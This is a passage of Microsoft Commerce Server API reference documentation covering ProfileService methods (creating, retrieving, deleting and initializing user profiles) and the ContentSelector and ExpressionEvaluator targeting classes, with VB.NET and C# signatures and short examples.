 ("{73A4C9C1-D68D-11D0-98BF-00A0C90DC8DF}", "Address")

oProfileObject2 = oProfileService.CreateProfile _
 ("Joeuser@microsoft.com", "UserObject")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.DeleteProfile

ProfileService.GetProfile

ProfileService.GetProfileByKey

ProfileService.Initialize

ProfileObject Class

ProfileObject.Fields


ProfileService.CreateProfileXML Method (PIA)

Use this method to create a ProfileObject object using XML data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function CreateProfileXML(
  sValue As Object,
  ByVal bstrProfileType As String,
  ByVal bstrProfileXML As Sring,
  eXMLFormat As XMLFormatEnum,
  bAttributeCentric As Boolean,
) As ProfileObject
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public ProfileObject CreateProfileXML(
  object sValue,
  string bstrProfileType,
  string bstrProfileXML,
  XMLFormatEnum eXMLFormat
);

Parameters

[Visual Basic .NET]
sValue
[in] An Object that contains the primary key value for the new ProfileObject object.
bstrProfileType
A String that contains the profile type.
bstrProfileXML
A String that contains the profile properties in XML.
eXMLFormat
An XMLFormatEnum enumeration that contains the XML format. See the Remarks section for allowed values.
[C#]
sValue
[in] An Object that contains the primary key value for the new ProfileObject object.
bstrProfileType
[in] A String that contains the profile type.
bstrProfileXML
[in] A String that contains the profile properties in XML.
eXMLFormat
[in] An XMLFormatEnum that contains the XML format. See the Remarks section for allowed values.

Return Values

[C#] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic .NET] If this method completes successfully, it returns the newly created ProfileObject object. The object is set to Nothing if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Error Values

The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

Remarks

If the CreateProfile method fails on an aggregated profile (one that has multiple data sources), the DeleteProfile method must be called to clean up any entries in the data stores. In this case, the DeleteProfile method will produce an error that should be ignored.

Call the Update method on the returned ProfileObject object to commit the new profile to the data store. The Update method will verify that a ProfileObject object with the specified attributes does not already exist in the database.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile or GetProfileByKey method to retrieve existing ProfileObject instances from the Profiles store.

Call the Initialize method before you use this ProfileService method.

The following table shows the values in the XMLFormatEnum enumeration, their associated names, and describes their use.

Name | Value | Description
EInvalid | 0 | Reserved for future use.
eAttributeCentric | 1 | Attribute-centric XML format.
eElementCentric | 2 | Element-centric XML format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService object


ProfileService.DeleteProfile Method (PIA)

Use this method to delete the ProfileObject object specified by a primary key value and schema type. All properties associated with the profile are purged from the system.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub DeleteProfile(
  sValue As Object,
  strType As String
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void DeleteProfile(
  object sValue,
  string bstrType
);

Parameters

[Visual Basic .NET]
sValue
An Object that contains the primary key value. The variable types permitted for this object are String or Integer.
strType
A String that contains the profile schema type.
[C#]
sValue
An object that contains the primary key value. The variable types permitted for this object are string or int.
bstrType
A string that contains the profile schema type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

If the DeleteProfile method is called because of an error in creating a new ProfileObject object, any error message produced should be ignored.

Use the DeleteProfileByKey method to delete a profile specified by a key member/value pair and schema type.

Call the Initialize method before you use this ProfileService method.

Caution

  • Care must be taken when deleting ProfileObject objects due to possible expression dependencies. See the ExpressionStore and ExpressionEval objects for details about expressions.
[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object

oProfileService.DeleteProfile("Joeuser@microsoft.com", "UserObject")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.CreateProfile

ProfileService.DeleteProfileByKey

ExpressionEval Object

ExpressionStore Object


ProfileService.DeleteProfileByKey Method (PIA)

Use this method to delete the ProfileObject object specified by a key member name/value pair and schema type. All properties associated with the profile are purged from the system.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub DeleteProfileByKey(
  strKeyMemberName As String,
  sValue As Object,
  strType As String
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void DeleteProfileByKey(
  string bstrKeyMemberName,
  object sValue,
  string bstrType
);

Parameters

[Visual Basic .NET]
strKeyMemberName
A String that contains the key member name.
sValue
An Object that contains the key value. The variable types permitted for this object are String or Integer.
strType
A String that contains the profile schema type.
[C#]
bstrKeyMemberName
A string that contains the key member name.
sValue
An object that contains the key value. The variable types permitted for this object are string or int.
bstrType
A string that contains the profile schema type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

Use the DeleteProfile method to delete a profile by specifying a primary key value and schema type.

Call the Initialize method before you use this ProfileService method.

Caution

  • Care must be taken when deleting ProfileObject objects due to possible expression dependencies. See the ExpressionStore and ExpressionEval objects for details about expressions.
[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object

oProfileService.DeleteProfileByKey("user_id",_
 "{74A38551-D6D8-FFD0-12BF-0A20C90DC8D1}" "UserObject")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.CreateProfile

ProfileService.DeleteProfile

ExpressionEval Object

ExpressionStore Object


ProfileService.GetProfile Method (PIA)

Use this method to retrieve the ProfileObject object corresponding to the specified primary key value and schema type.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function GetProfile(
  sValue as Object,
  bstrType As String
  Optional bReturnError As Boolean
) As IProfileObject
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public IProfileObject GetProfile(
  object sValue,
  string bstrType,
  bool bReturnError
);

Parameters

[Visual Basic .NET]
sValue
An Object that contains the primary key value. The variable types permitted for this object are String or Integer.
bstrType
A String that contains the profile schema type.
bReturnError
An optional Boolean. The default value is True.
[C#]
sValue
An object that contains the primary key value. The variable types permitted for this object are string or int.
bstrType
A string that contains the profile schema type.
bReturnError
See Remarks for a description of this parameter.

Return Values

[Visual Basic .NET] This method returns an object that implements the IProfileObject interface corresponding to the specified primary key value and schema name.

[C#] This method returns an object that implements the IProfileObject interface.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

If the bReturnError parameter is set to true and the specified ProfileObject object is not found, the method throws a COMException with a value of E_PS_PROFILE_NOTEXISTS instead of returning an object reference.

If the bReturnError parameter is set to false and the specified ProfileObject object is not found, an empty ProfileObject object is returned.

Properties with the IsCached attribute set to false are not loaded by this method.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfileByKey method to retrieve a profile by specifying a key member name/value pair and schema type.

Call the Initialize method before you use this ProfileService method.

[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject is a Commerce ProfileObject object

oProfileObject = oProfileService.GetProfile("Joeuser@microsoft.com", _
 "UserObject")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.GetProfileByKey

ProfileService.Initialize

ProfileObject Class

ProfileObject.Fields


ProfileService.GetProfileByKey Method (PIA)

Use this method to retrieve a ProfileObject object that corresponds to a specified key member name/value pair and schema type.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function GetProfileByKey(
  bstrKeyMemberName As String,
  sValue As Object,
  bstrType As String
  Optional bReturnError As Boolean
) As IProfileObject
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public IProfileObject GetProfileByKey(
  string bstrKeyMemberName,
  object sValue,
  string bstrType,
  bool bReturnError
);

Parameters

[Visual Basic .NET]
bstrKeyMemberName
A String that contains the key member name.
sValue
An Object that contains the key value. The variable types permitted for this object are String or Integer.
bstrType
A String that contains the schema type.
bReturnError
An optional Boolean. The default value is True.
[C#]
bstrKeyMemberName
A string that contains the key member name.
sValue
An object that contains the key value. The variable types permitted for this object are string or int.
bstrType
A string that contains the schema type.
bReturnError
See Remarks for a description of this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object that implements the IProfileObject interface corresponding to the specified key member/value pair and schema name.

[C#] This method returns an object that implements the IProfileObject interface.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

If the bReturnError parameter is set to true and the specified ProfileObject object is not found, the method throws a COMException with a value of E_PS_PROFILE_NOTEXISTS instead of returning an object reference.

If the bReturnError parameter is set to false and the specified ProfileObject object is not found, an empty ProfileObject object is returned.

Properties with the IsCached attribute set to false are not loaded by this method.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile method to retrieve a profile by specifying a primary key value and schema type.

Call the Initialize method before you use this ProfileService method.

[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject is a Commerce ProfileObject object

oProfileObject = oProfileService.GetProfileByKey("user_id", _
 "{74A38551-D6D8-FFD0-12BF-0A20C90DC8D1}", "UserObject")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.GetProfile

ProfileService.Initialize

ProfileObject Class

ProfileObject.Fields


ProfileService.GetProfileDefXML Method (PIA)

Use this method to retrieve the XML definition of the named profile schema type.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function GetProfileDefXML(
  bstrProfileName As String
  bNamesOnly As Boolean,
) As String
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public string GetProfileDefXML(
  string bstrProfileName,
  bool bNamesOnly
);

Parameters

[Visual Basic .NET]
bstrProfileName
A String that contains the name of the profile schema type.
bNamesOnly
A Boolean that determines whether the method returns the profile schema name or the profile schema definition. A value of False indicates to return the profile definition. A value of True indicates to return only the name of the profile schema.
[C#]
bstrProfileName
A string that contains the name of the profile schema type.
bNamesOnly
A bool that determines whether the method returns the profile schema name or the profile schema definition. A value of false indicates to return the profile definition. A value of true indicates to return only the name of the profile schema.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the XML description.

[C#] This method returns a string containing the XML description.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

If the bstrProfileName parameter is empty and the bNamesOnly parameter is false, the XML descriptions of all the schema types in the catalog are returned.

If the bstrProfileName parameter is empty and the bNamesOnly parameter is true, the names of all the schema types in the catalog are returned.

Call the Initialize method before you use this ProfileService method.

[Visual Basic .NET]

Example

' sXML is a String
' oProfileService is a Commerce ProfileService object

sXML = oProfileService.GetProfileDefXML("UserObject", False)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

Profile XML Structures


ProfileService.Initialize Method (PIA)

Use this method to establish a connection to the Commerce Server Profiles store and populate the schema cache with all the schemas from the specified catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub Initialize(
  sConfigStore As String,
  Optional sCatalog As String
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void Initialize(
  string sConfigStore,
  string sCatalog
);

Parameters

[Visual Basic .NET]
sConfigStore
A String that contains the connection string to the Profiles store.
sCatalog
An optional String that identifies the catalog. If this is specified it must be "Profile Definitions".
[C#]
sConfigStore
A string that contains the connection string to the Profiles store.
sCatalog
A string that identifies the catalog. The value of this parameter must be "Profile Definitions".

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

The Initialize method creates the necessary internal parameters and schema cache for profile management. A ProfileService object must connect to only one Profiles store. Multiple instances of the ProfileService object must be created to access multiple stores.

The connection string for the Profiles store may be obtained through the SiteConfigReadOnly object, or through the Commerce Server Manager console from the s_ProfileServiceConnectionString property under the key "Commerce Server Manager\Global Resources\Profiles(ComputerName SiteName)".

The connection string consists of the following mandatory tokens:

  • Data Source and/or Database [mandatory]. This attribute allows applications to specify the name of the underlying instance of SQL Server containing the Profiles database. At least one of these attributes must be specified. If both of these attributes are specified, the value of the Data Source attribute takes precedence.
  • Initial Catalog and/or Server [mandatory]. This attribute allows applications to specify the name of the Profiles database containing profile definitions. At least one of these attributes must be specified. If both of these attributes are specified, the value of the Initial Catalog attribute takes precedence.
  • User ID and/or UID [mandatory]. This attribute allows applications to specify the login name to connect to the Profiles database. At least one of these attributes must be specified. If both of these attributes are specified, the value of the User ID attribute takes precedence.

The following is a sample connection string containing these attributes:

   Data Source=servername;Initial Catalog=dbname;User ID=user

Spaces are not allowed around the delimiting semicolons, and a semicolon is not allowed in the names of any of the tokens.

Additionally, the following optional tokens are also supported by the Profiles resource:

  • Provider [optional]. Allows applications to specify the OLE DB provider to which the Profiles resource connects. This parameter exists for consistency with standard ADO connection strings. The default value and only acceptable value for this attribute is CSOLEDB.
  • Password [optional]. Allows applications to specify the password for the user specified by the User ID or UID attribute. The default value for this attribute is null.
  • PsObjectCacheSize [optional]. Allows applications to specify the size of the Profiles resource object cache. This cache stores ProfileObject objects instantiated by the CreateProfile and GetProfile methods. The default value for this attribute is 32768.
  • PsSchemaCacheSize [optional]. Allows applications to specify the size of the Profiles resource definition (schema) cache. After it is loaded, entries cannot be purged from the cache. The default value for this attribute is 64.
  • PsBackgroundThread [optional]. Allows applications to control the creation of a background thread to periodically clean up entries from the Profiles resource object cache. The acceptable values for this parameter are zero (0) or one (1). Zero turns off the background thread, and one turns it on. By default, the background thread is on.
  • PsObjectAgeoutPeriod [optional]. Allows applications to specify the age-out period for the Profiles resource cache entries. The age-out period is the amount of time an unreferenced object can remain in the cache without being discarded. The default value for this attribute is five minutes.
  • Integrated Security [optional]. Allows applications to connect to the Profile Service using integrated windows authentication. The value for this token should be SSPI. When this token is specified the values for User ID/UID and Password/PWD tokens are ignored.
  • Site Name [optional]. Allows applications to specify the site name under which the Profile Service counters should be logged. If no value is specified the performance counters are logged under Anonymous.
  • Connection_Retry [optional]. Allows the applications to specify the number of retry attempts if the connection to the Profile definition store is lost due to a communication failure. The default value for this attribute is 10.
  • Connection_Retry_Delay [optional]. Allows the applications to specify the delay in seconds between retry attempts if the connection to the Profile definition store is lost due to a communication failure. The default value for this attribute is 30.
  • PublicKey [optional]. This token allows the applications to specify the public key if any of the profiles defined use asymmetric encryption. The value for the token should be a hexadecimal string representation of the Public Key. The value should not be enclosed in quotes.
  • KeyIndex [optional]. This token is mandatory if the PublicKey is specified. Since Public and Privtate keys come in pairs, this token allows the applications to specify which PrivateKey token value corresponds to the PublicKey token.
  • PrivateKey1 [optional]. This token allows the applications to specify the Private key for decryption. The value for this token should be specified if the current key index is 1 and should correspond to the PublicKey. The value for the token should be a hexadecimal string representation of the Private Key. The value should not be enclosed in quotes.
  • PrivateKey2 [optional]. This token allows the applications to specify the Private key for decryption. The value for this token should be specified if the current key index is 1 and should correspond to the PublicKey. The value for the token should be a hexadecimal string representation of the Private Key. The value should not be enclosed in quotes.

Notes

  • The Initial Catalog in the connection string is the database containing the Profiles store.
  • The sCatalog parameter in the Initialize method is the catalog containing the profile schema definitions, which is "Profile Definitions".
[Visual Basic .NET]

Example

' Connect using an explicit connection string.
' oProfileService is a Commerce ProfileService object

oProfileService.Initialize("Provider=CSOLEDB;Data Source=MyServer;" _
 & "Initial Catalog=Retail_commerce;Integrated Security='SSPI';" _
 & "PsSchemaCacheSize=128;PsObjectAgeoutPeriod=8", "Profile Definitions")

' Connect through the SiteConfigReadOnly object.
' sConn is a String
' oSCRO is an initialized SiteConfigReadOnly object

sConn = oSCRO.Fields("Profiles(ComputerName SiteName").Value _
 .Fields("s_ProfileServiceConnectionString").Value & "SCHCACHE=128"
oProfileService.Initialize(sConn, "Profile Definitions")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class


ProfileService.Unbind Method (PIA)

Use this method to clear the credentials that are used to access ProfileObject objects in the underlying Profiles store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub Unbind ()
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void Unbind ();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

This method clears the credentials used to access ProfileObject objects in the underlying store. Any new profiles or modifications will not be bound to a specific user. Use this method to gain access to existing ProfileObject objects that are not bound to a specific user.

Use the Bind method to set the credentials to access ProfileObject objects that are bound to a specific user.

Call the Initialize method before you use this ProfileService method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.BindAs


ProfileService Properties (PIA)

Properties

Property | Type | Description
Errors | ADODB26Lib.Errors | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.


ProfileService.Errors Property (PIA)

[Visual Basic .NET] The Errors property is a read-only Errors object that stores the collection of errors encountered in the last Profiles resource operation.

[C#] The Errors property is a read-only ADODB26Lib.Errors object that stores the collection of errors encountered in the last Profiles resource operation.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
Imports ADODB26Lib     ‘ for Errors
…
Public ReadOnly Property Errors As Errors
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
using ADODB26Lib;                              //For Errors
…
public Errors Errors {get; }

Property Value

This property returns the collection of errors encountered in the last Profiles resource operation.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Errors property collects all errors generated by a ProfileService object operation, including those that emerge from the underlying technology.

If the error is coming from the underlying data store providers (such as OLE DB Provider for SQL Server and OLE DB Provider for Microsoft Directory Services) it is passed; for example, in some cases only the Number and Source properties of the Errors object are set.

Call the Initialize method before you access the Errors property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileObject Class

ProfileService Class


Microsoft.CommerceServer.Interop.Targeting

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop.Targeting namespace.

Class | Description
ContentSelector | Allows specification and retrieval of page content.
ExpressionEvaluator | Allows selection and evaluation of one or more expressions against a specified context.
ExpressionStore | Provides methods to create, save, modify, and retrieve expressions.
ListManager | Provides methods to create, destroy, manage, and manipulate lists.
PredictorClient | Provides methods for downloading prediction models, setting prediction context, and performing predictions.


ContentSelector Class (PIA)

Use this object to select one or more items of content for display on a Web page. The content may come from customer campaigns (ads, discounts), or from custom applications built on the Content Selection Framework (CSF).

If you want to select custom content for display on your Web pages, you can use the CSF by instantiating and using ContentSelector objects. ContentSelector objects invoke different CSF pipelines to select different types of content based on the dictionary passed to the GetContent method.

Use the Microsoft Commerce 2000 CSF Pipeline Component 1.0 Type Library to access this object.

The ContentSelector object implements all of the methods and properties of the Dictionary object. Only the method not inherited from the Dictionary object is shown in the following table.

Methods

Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.

Remarks

The Context dictionary maintains a reference to a ContentSelector object in its ContextProfile entry. This ContentSelector object is used to pass arbitrary properties to the pipeline components. Arbitrary properties can be associated with the ContentSelector object because it inherits from the Dictionary object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: csfcomplib (in csfcomplib.dll)


ContentSelector Methods (PIA)

Methods

Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.


ContentSelector.GetContent Method (PIA)

Use this method to execute a Content Selection pipeline and return the resulting content in a SimpleList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop  ‘ for IDictionary & ISimpleList
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetContent(
 dictCSFContext As IDictionary,
) As ISimpleList
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;    //For ISimpleList & IDictionary
…
public ISimpleList GetContent(
  IDictionary pdictCSFContext
);

Parameters

pdictCSFContext
The IDictionary interface to a global context dictionary with a configuration for an instance of a CSF application. The dictionary contains global objects and configurations used by the ContentSelector object. At a minimum, the dictionary must contain the Pipeline key so that the ContentSelector object knows which pipeline to execute.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an ISimpleList interface to a SimpleList object containing the selected content. The elements of the SimpleList object are HTML or XML strings.

[C#] This method returns an ISimpleList interface to a SimpleList object containing the selected content. The elements of the SimpleList object are HTML or XML strings.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Note

  • This method can also return an error returned by the invoked pipeline.

Remarks

The ContentSelector object reads the Pipeline key of the passed in Dictionary object to find the pipeline object to invoke. It copies the values of the dictionary passed to it into a new dictionary. The new dictionary is passed to the pipeline as the pipe Context dictionary. An empty dictionary is created and passed as the Order dictionary for the pipeline. The ContentSelector object adds a reference to itself under the ContextProfile key in the pipe Context dictionary.

When pipeline execution has completed, the ContentSelector object looks for the key formatted in the Order dictionary, and returns the list assigned to that key as the return value. If the list assigned to the formatted key does not exist, an empty list is created and returned. The self-reference in the pipe Context dictionary is removed to prevent a circular reference. References to the Order and Context dictionaries are added to the ContentSelector object before it returns, giving the page access to the values written into those dictionaries by the pipeline.

[Visual Basic .NET]

Example

For example code, see the sample in ContentSelector Object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: csfcomplib (in csfcomplib.dll)

See Also

CacheManager Class

Content Selection Pipelines

ContentSelector Class


ExpressionEvaluator Class (PIA)

Use this object to evaluate one or more expressions against a specified context. In addition, use this object to parse and evaluate user-defined expressions written as Extensible Markup Language (XML) fragments.

Methods

Method | Description
Connect | Establishes communication between the ExpressionEvaluator object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine whether it represents a valid expression.

Properties

Property | Type | Description
ExprCount | Integer | Retrieves the number of expressions loaded into the expression cache. This property is read-only.

Remarks

Expressions are stored in a database referred to as the Expression Store and accessed through an ExpressionStore object. When it is created, the ExpressionEvaluator object initializes an expression cache and a context cache. Expressions must be compiled and loaded into the expression cache before being evaluated. To improve evaluation performance, use the LoadExpr or LoadAll method to preload expressions into the expression cache.

An expression is evaluated against data contained in a set of profiles. The profiles may be ProfileObject objects, or Dictionary objects. The set of profiles is referred to as an evaluation context. If an evaluation context will be used across multiple expressions, create a stored context in the context cache using the CreateEvalContext method to increase efficiency.

The Connect method must be called before loading or evaluating expressions.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

Expression XML Structures

ExpressionStore Object

ProfileObject Object


ExpressionEvaluator Methods (PIA)

Methods

Method | Description
Connect | Establishes communication between the ExpressionEvaluator object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine whether it represents a valid expression.


ExpressionEvaluator.Connect Method (PIA)

Use this method to establish communication with an expression store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Connect(
 vConnectInfo As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Connect(
 object vConnectInfo
);

Parameters

[Visual Basic .NET]
vConnectInfo
An Object that describes the expression store connection information. This may be a String containing the connection information or a reference to an existing ExpressionStore object.
[C#]
vConnectInfo
An object that describes the expression store connection data. This may be a string containing the connection information or an existing ExpressionStore object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110001E | Specified database does not contain a valid expression store
&H8110000D | No connection string specified
&H8110000F | Insufficient access permissions on the expression store database
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110001E | Specified database does not contain a valid expression store
0x8110000D | No connection string specified
0x8110000F | Insufficient access permissions on the expression store database

Remarks

If a connection string is passed as the input parameter, the ExpressionEval object creates an ExpressionStore object that uses the connection string to access the expression store. Upon destruction, the ExpressionEval object destroys the ExpressionStore object.

The connection string for the expression store may be obtained through the SiteConfigReadOnly object or through the Commerce Server Manager console from the s_BizDataStoreConnectionString property under the keywords "Commerce Server Manager\Global Resources\Profiles".

The Connect method must be used before loading or evaluating expressions.

The ParseXML method and the flush methods may be used without connecting to an expression store.

[Visual Basic .NET]

Example

' Connect through an existing ExpressionStore object.
oExpressionEval.Connect (oExpressionStore)

' Connect using an explicit connection string.
oExpressionEval.Connect ("Provider=SQLOLEDB;Data Source=server;" _
& "Initial Catalog=Retail_commerce;Integrated Security='SSPI'")

' Connect using a string retrieved from the SiteConfigReadOnly object.
' sConn is a String, oSCRO is an initialized SiteConfigReadOnly object.
sConn = oSCRO.Fields("Biz Data Service").Value _
 .Fields("s_BizDataStoreConnectionString").Value
oExpressionEval.Connect (sConn)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionStoreClass

ExpressionStore.Connect

SiteConfigReadOnlyClass


ExpressionEvaluator.CreateEvalContext Method (PIA)

Use this method to create a new ExprEvalContext object and place it into the context cache. This allows evaluation of multiple expressions against the same set of profile objects in the most efficient manner possible.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateEvalContext(
 pDictObjs As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;      //For IDictionary
…
public IExprEvalContext CreateEvalContext(
 IDictionary pDictObjs
);

Parameters

[Visual Basic .NET]
pDictObjs
A Dictionary object that contains the set of profiles to be cached.
[C#]
pDictObjs
The IDictionary interface of a Dictionary object that contains the set of profiles to be cached.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the newly created ExprEvalContext object.

[C#] This method returns the IExprEvalContext interface of the newly created ExprEvalContext object

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The CreateEvalContext method creates an ExprEvalContext object that uniquely identifies a new evaluation context and stores the object in the context cache. Use the EvalInContext method to evaluate multiple expressions within the context defined by the ExprEvalContext object. This process is more efficient than using the Eval method which generates and destroys a new context for each expression evaluated.

A context is a set of profiles containing data to evaluate expressions against. Profiles may be ProfileObject objects or Dictionary objects. Initially only references to the profile objects are held in the context cache. During evaluation, when property values are read from the profiles, the property values may themselves be held in the cache for faster access during subsequent evaluations.

Caution

  • The state of the profile objects should not be externally changed during the lifetime of the ExprEvalContext object; doing so leads to nondeterministic evaluation results.
[Visual Basic .NET]

Example

' dictUser1, dictAddress1, & dictProfiles are Dictionary objects
' create 2 profiles
dictUser1.firstName = "Joe"
dictUser1.lastName = "User"
dictAddress1.city = "Somewhere"
dictAddress1.state = "WA"

' add the profiles to the context Dictionary
dictProfiles.User = dictUser1
dictProfiles.Address = dictAddress1

' create the evaluation context
oExprEvalContext = oExpressionEval.CreateEvalContext(dictProfiles)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

